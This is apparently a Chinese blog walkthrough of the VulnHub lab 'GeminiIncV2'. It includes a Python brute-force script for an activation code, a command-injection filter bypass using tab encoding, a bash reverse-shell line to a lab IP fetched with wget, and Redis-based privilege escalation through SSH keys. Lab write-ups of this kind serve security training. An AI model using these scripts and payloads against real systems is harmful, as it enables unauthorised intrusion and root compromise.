VulnHub——GeminiIncV2

本文讲述了作者通过靶机实战,从枚举激活码、源码信息泄露、密码找回,直至利用Redis服务提升权限的过程,展示了黑客攻击链的部分环节。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

简介

个人感觉靶机设计还不错,通过注册账户,枚举激活码,然后在网页源码中发现密码Hash值,通过解密后的明文登录系统后利用命令执行绕过漏洞获取shell,最后利用Redis服务提升至root权限。

信息收集

使用nmap --min-rate 10000 -A 192.168.58.134 --script=vuln扫描目标主机发现开启22和80端口,80端口web服务存在admin、inc、lib目录和login.php文件,如图:
在这里插入图片描述

访问80端口如图:
在这里插入图片描述

访问login.php文件为登录页面,如图:
在这里插入图片描述

查看admin目录,如图:
在这里插入图片描述

查看inc目录,如图:
在这里插入图片描述

查看lib目录,如图:
在这里插入图片描述

查看manual目录,如图:
在这里插入图片描述

扫描网站目录发现新的文件,如图
在这里插入图片描述

访问activate.php时为用户激活页面,如图:
在这里插入图片描述

访问registration.php时为注册页面,如图:
在这里插入图片描述

注册账号发现可注册admin用户,但是需要激活,如图:
在这里插入图片描述

激活账号需要提供USER ID和6位数的激活码,点击admin——>My Profile之后页面跳转到profile.php?u=16,USER ID为16,如图:
在这里插入图片描述

漏洞发现

激活码可枚举

访问activate.php,输入User ID和任意激活码,然后抓包准备枚举激活码,如图:
在这里插入图片描述

调高线程开始泡茶打游戏,如图:
在这里插入图片描述

但是枚举完所有激活码都未能激活,再次抓包分析发现每次token都会变化,尝试编写脚本进行枚举:

#!/usr/bin/python3
import requests
from bs4 import BeautifulSoup
import queue
url='http://192.168.58.134/activate.php'
uid=16
s=requests.session()
q=queue.Queue()
for c1 in range(10):
	for c2 in range(10):
		for c3 in range(10):
			for c4 in range(10):
				for c5 in range(10):
					for c6 in range(10):
						q.put(str(c1)+str(c2)+str(c3)+str(c4)+str(c5)+str(c6))


for i in range(1000000):
	ac=q.get()
	print(ac)
	html=s.get(url).text
	soup=BeautifulSoup(html,"html.parser")
	token=soup.find_all('input',attrs={'name':'token'})[0].attrs['value']
	data={'userid':uid,'activation_code':ac,'token':token}
	r=s.post(url,data=data)
	if r.status_code != 403:
		print("激活成功!")
		break

然后跑脚本,泡茶打游戏,一段时间后激活成功,如图:
在这里插入图片描述

再次登录后没有提示激活的信息,如图:
在这里插入图片描述

在User List发现一个橙色角色,如图:
在这里插入图片描述

角色为管理员,如图:
在这里插入图片描述

源码信息泄露

在源码中发现密码Hash值,如图:
在这里插入图片描述

解密一波获得密码明文,如图:
在这里插入图片描述

然后登录,使用9emin1无法登录成功,然后回头看User List发现在9emin1上方还有蓝色小字:Gemini,使用该用户成功登录,如图:
在这里插入图片描述

点击Admin Panel下的两个按钮后页面空白,如图:
在这里插入图片描述

抓包查看发现IP不允许,如图:
在这里插入图片描述

加入X-Forwarded-For头后访问成功,如图:
在这里插入图片描述

在Execute Command页面可执行命令,但执行命令无回显,且加参数后被拦截,如图:
在这里插入图片描述

枚举被拦截的字符,发现cat、ncat和空格等被拦截,如图:
在这里插入图片描述

命令执行绕过

使用%0d%0a可绕过拦截,但是无法执行成功,使用%09时可成功执行命令,如图:
在这里插入图片描述

漏洞利用

编写反弹shell的bash脚本,如下:

#!/bin/bash
bash -i >&/dev/tcp/192.168.58.129/4444 0>&1

然后将文件上传到目标主机,由于Curl命令不存在,使用wget%09%2dO%09/tmp/reverse%09http://192.168.58.129:8888/reverse下载,然后执行,如图:
在这里插入图片描述

成功获得普通用户权限,如图:
在这里插入图片描述

权限提升

查看web目录下的文件在inc/settings.php发现数据库密码:s3cr3tp2ssw0rd1337,如图:
在这里插入图片描述

查看/etc/passwd发现只有当前这一个普通用户,尝试使用sudo提权失败,查看内核版本为4.9.0,搜索几个提权漏洞然而都未成功。直接上提权辅助脚本,未找到可利用的SUID文件和SGID文件,但发现进程中以root权限运行的redis,如图:
在这里插入图片描述

Redis提权

尝试使用redis未授权登录,连接之后无法获取信息,也无法用exit命令退出,如图:
在这里插入图片描述

强制退出后无法在利用命令执行来获得shell,只好重启靶机再次获得shell,然后利用ssh-keygen生成公钥并上传到靶机~/.ssh目录下重命名为authorized_keys,然后使用id_rsa登录靶机,获得稳定shell,然后连接redis,如图:
在这里插入图片描述

需要认证,然后在/etc/redis/目录下找到配置文件6379.conf,查看配置文件找到密码8a7b86a2cd89d96dfcc125ebcc0535e6,如图:
在这里插入图片描述

使用密码登录redis,如图:
在这里插入图片描述

然后写入ssh认证密钥文件,但是无法利用私钥文件远程登录,只好将私钥文件上传到目标主机,在目标主机进行登录,如图:
在这里插入图片描述

总结

偶然完成了两年前未完成的靶机,感觉还不错。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值